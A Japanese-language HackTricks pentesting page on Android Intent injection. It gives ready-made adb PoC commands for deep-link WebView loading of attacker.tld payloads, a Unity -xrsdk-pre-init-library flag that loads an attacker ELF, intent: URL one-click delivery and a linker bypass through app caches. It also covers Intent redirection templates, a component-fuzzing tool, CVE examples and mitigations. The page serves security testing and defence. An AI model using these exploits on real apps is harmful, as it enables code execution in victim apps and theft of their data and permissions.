Intent Injection

Reading time: 17 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Intent injection は、攻撃者が制御する Intent や後で Intent に変換されるデータを受け入れるコンポーネントを悪用します。Android アプリの pentests で非常に一般的なパターンは次の2つです:

  • 細工した extras を exported Activities/Services/BroadcastReceivers に渡し、それらが後で特権を持つ non-exported コンポーネントへ転送される。
  • exported VIEW/BROWSABLE deep links をトリガーして、攻撃者が制御する URL を内部 WebViews や他の機密性の高いシンクに転送させる。

アプリが次のようなカスタムスキームの deep link を公開している場合:

text
myscheme://com.example.app/web?url=<attacker_url>

受信側の Activity が url クエリパラメータを WebView に転送する場合、アプリに任意のリモートコンテンツを自身の WebView コンテキスト内でレンダリングさせることができます。

PoC via adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

影響

  • HTML/JSはアプリのWebViewプロファイル内で実行される。
  • JavaScriptが有効になっている場合(デフォルトまたはチェックの誤順序により)、公開された@JavascriptInterfaceオブジェクトを列挙/利用でき、WebView cookies/local storageを窃取し、pivotできる。

参照:

Webview Attacks

チェック順序のバグでJavaScriptが有効化される

再発するバグの一つに、最終的なURLのallowlist/検証が完了する前にJavaScript(または他の緩和的なWebView設定)を有効化してしまうものがある。早期のヘルパーがあなたのdeep linkを受け入れ、先にWebViewが構成されると、後続のチェックが不十分または遅すぎても、最終ロードは既にJavaScriptが有効な状態で行われる。

デコンパイルされたコードで確認すべき点:

  • URLを異なる方法でparse/split/rebuildする複数のヘルパー(正規化が一貫していない)。
  • 最終的なホスト/パスのallowlistチェックの前にgetSettings().setJavaScriptEnabled(true)が呼ばれている。
  • 典型的な処理パイプライン: parse → partial validate → configure WebView → final verify → loadUrl.

緩和策

  • 一度だけ正規化して厳密に検証する。失敗時は閉じる(fail closed)。
  • すべてのチェックが合格した後、信頼できるコンテンツをロードする直前にのみJavaScriptを有効にする。
  • 信頼できないオリジンにブリッジを露出しない。

Unityランタイム: Intent-to-CLI extras → pre-init native library injection (RCE)

UnityベースのAndroidアプリは通常、com.unity3d.player.UnityPlayerActivity(またはUnityPlayerGameActivity)をエントリーActivityとして使用する。UnityのAndroidテンプレートは、unityという名前の特別なIntent extraをUnityランタイム向けのコマンドラインフラグの文字列として扱う。エントリーActivityがexportedされている場合(多くのテンプレートでデフォルト)、任意のローカルアプリや、場合によってはBROWSABLEがあるウェブサイトがこのextraを渡せる。

危険で文書化されていないフラグが、プロセス初期化の非常に早い段階でネイティブコード実行を引き起こす:

  • 隠しフラグ: -xrsdk-pre-init-library <absolute-path>
  • 効果: 初期化の非常に早い段階でdlopen(<absolute-path>, RTLD_NOW)が実行され、攻撃者が制御するELFがターゲットアプリのプロセス内で、そのUIDと権限でロードされる。

リバースエンジニアリング抜粋(簡略化):

c
// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

なぜ動作するのか

  • Intent の extra unity は Unity のランタイムフラグとして解析される。
  • pre-init フラグを指定すると、Unity は許可された linker namespace パス内の攻撃者制御下の ELF パスを参照するようになる(制約は下記参照)。

悪用の条件

  • Unity のエントリ Activity が exported されている(通常デフォルトで true)。
  • ブラウザ経由のワンクリックリモートの場合:エントリ Activity が android.intent.category.BROWSABLE を宣言しており、intent: URL から extras を渡せる。

ローカルでの悪用(同一デバイス)

  1. ペイロード ELF を被害者アプリから読み取り可能なパスに配置する。最も簡単なのは、自分の攻撃者アプリに悪意のあるライブラリを同梱し、攻撃者の manifest に設定して /data/app/.../lib/<abi>/ 以下に展開されるようにすること:
xml
<application android:extractNativeLibs="true" ...>
  1. 被害者の Unity activity を unity extra の CLI pre-init フラグ付きで起動する。例(ADB PoC):
bash
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); your payload runs in the victim process, inheriting all its app permissions (camera/mic/network/storage, etc.) and access to in-app sessions/data.

Notes

  • 正確な/data/app/...パスはデバイスやインストールごとに異なります。攻撃者アプリは実行時にgetApplicationInfo().nativeLibraryDirで自身の native lib ディレクトリを取得し、それをトリガに伝達できます。
  • ファイルは .so で終わる必要はなく、有効な ELF であればよい — dlopen() は拡張子ではなく ELF ヘッダを参照します。

Remote one‑click via browser (conditional) If the Unity entry activity is exported with BROWSABLE, a website can pass extras via an intent: URL:

text
intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

しかし、最新の Android では dynamic linker namespaces と SELinux によって、多くの公開パス(例: /sdcard/Download)からの読み込みがブロックされます。次のようなエラーが表示されます:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Bypass strategy: 攻撃者が制御するバイト列をアプリのプライベートストレージ(例: HTTP キャッシュ)下にキャッシュするアプリを狙う。許可されたパスに /data とアプリのプライベートディレクトリが含まれるため、-xrsdk-pre-init-library をアプリのキャッシュ内の絶対パスに向けることで linker の制約を満たし、コード実行を引き起こす可能性がある。これは他の Android apps で観測された cache-to-ELF RCE パターンと類似する挙動を示す。

Other classic Intent injection primitives

  • startActivity/sendBroadcast を使い、攻撃者提供の Intent extras を後で再解析(Intent.parseUri(...))して実行するもの。
  • Exported proxy components が permission チェックなしで Intents を non-exported な機密コンポーネントに転送するもの。

Automating exported-component testing (Smali-driven ADB generation)

exported コンポーネントが特定の extras を期待する場合、ペイロード形状を推測するのは時間の無駄で偽陰性を招く。Smali から直接キーや型を自動検出し、実行可能な adb コマンドを出力することで自動化できる。

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: Smali を decompile して getStringExtra("key")getIntExtra("id", ...)getParcelableExtra("redirect_intent")getSerializableExtra(...)getBooleanExtra(...)getAction()getData() のような呼び出しをスキャンし、各コンポーネントがどの extras とフィールドを消費しているかを推測する。
  • Output: 各 exported Activity/Service/Receiver/Provider ごとに、ツールは短い説明と正しく型指定されたフラグを含む正確な adb shell am ... / cmd content ... コマンドを出力する。

インストール

bash
git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

使用方法

bash
python apk-components-inspector.py target.apk

出力例

bash
adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

ADB am extras チートシート(型を意識したフラグ)

  • 文字列: --es key value | 文字列配列: --esa key v1,v2
  • 整数: --ei key 123 | 整数配列: --eia key 1,2,3
  • ブール: --ez key true|false
  • Long(長整数): --el key 1234567890
  • 浮動小数点数: --ef key 1.23
  • URI(extra): --eu key content://... | データURI(Intentデータ): -d content://...
  • コンポーネントの extra: --ecn key com.pkg/.Cls
  • ヌル文字列の extra: --esn key
  • 共通フラグ: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Providers向けプロのコツ

  • agentsなしで ContentProviders にアクセスするには、adb shell cmd content query|insert|update|delete ... を使用する。
  • SQLi のプローブでは、基盤の provider が SQLite バックエンドの場合、--projection--where(別名 selection)を変えて試す。

フルパイプライン自動化(インタラクティブ実行環境)

bash
# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py

ヘルパースクリプト(継続行を結合し、adbで始まる行のみを実行します):

python
import subprocess

def parse_adb_commands(file_path):
with open(file_path, 'r') as file:
lines = file.readlines()
commands = []
current = []
for line in lines:
s = line.strip()
if s.startswith("adb "):
current = [s]
elif s.startswith("#") or not s:
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
current = []
elif current:
current.append(s)
if current:
full = ' '.join(current).replace(" \\ ", " ").replace("\\", "").strip()
commands.append(full)
return commands

for i, cmd in enumerate(parse_adb_commands('adbcommands.txt'), 1):
print(f"\nCommand {i}: {cmd}")
input("Press Enter to execute this command...")
try:
r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True)
print("Output:\n", r.stdout)
if r.stderr:
print("Errors:\n", r.stderr)
except subprocess.CalledProcessError as e:
print(f"Command failed with error:\n{e.stderr}")

デバイス上で実行: インスペクタはPythonベースで、Termuxまたはrooted phonesでapktool/androguardが利用可能な環境で動作します。


Intent Redirection (CWE-926) – 発見と悪用

Pattern

  • エクスポートされたエントリポイント (Activity/Service/Receiver) が受信した Intent を読み取り、ソース/データを検証せずに内部または外部へ転送する、例:
  • startActivity(getIntent())
  • startActivity(intent)intentredirect_intent/next_intent/pending_intent のような extra から来ている場合、または Intent.parseUri(...)
  • チェックなしで action/data/component フィールドを信頼する;呼び出し元の識別を検証していない。

What to search in Smali/Java

  • Uses of getParcelableExtra("redirect_intent"), getParcelable("intent"), getIntent().getParcelableExtra(...).
  • Direct startActivity(...), startService(...), sendBroadcast(...) on attacker-influenced Intents.
  • Lack of getCallingPackage()/getCallingActivity() checks or custom permission gates.

ADB PoC templates

  • Proxy Activity が extra Intent を権限のある内部 Activity に転送する:
bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Exported Service が redirect_intent parcelable を受け取る:
bash
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Exported Receiver が検証なしで中継する:
bash
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

singleTask スタイルの動作に役立つフラグ

bash
# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

実際の事例(影響は様々):

  • CVE-2024-26131 (Element Android): exportedフローがWebView manipulation、PIN bypass、login hijackにつながる。
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → システムレベルの影響。
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): リダイレクション → 任意のファイルアクセス(ユーザー操作あり)。
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

緩和策(開発者チェックリスト)

  • 受信したIntentsをそのまま転送しない。許可されたフィールドをサニタイズして再構築する。
  • 必要ない限りandroid:exported="false"で公開を制限する。公開するコンポーネントには権限や署名で保護を施す。
  • 呼び出し元の識別(getCallingPackage()/getCallingActivity())を検証し、アプリ内の遷移にはexplicit Intentsを強制する。
  • 使用前にactiondata(scheme/host/path)を両方検証する。信頼できない入力に対してIntent.parseUriを使用しない。

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする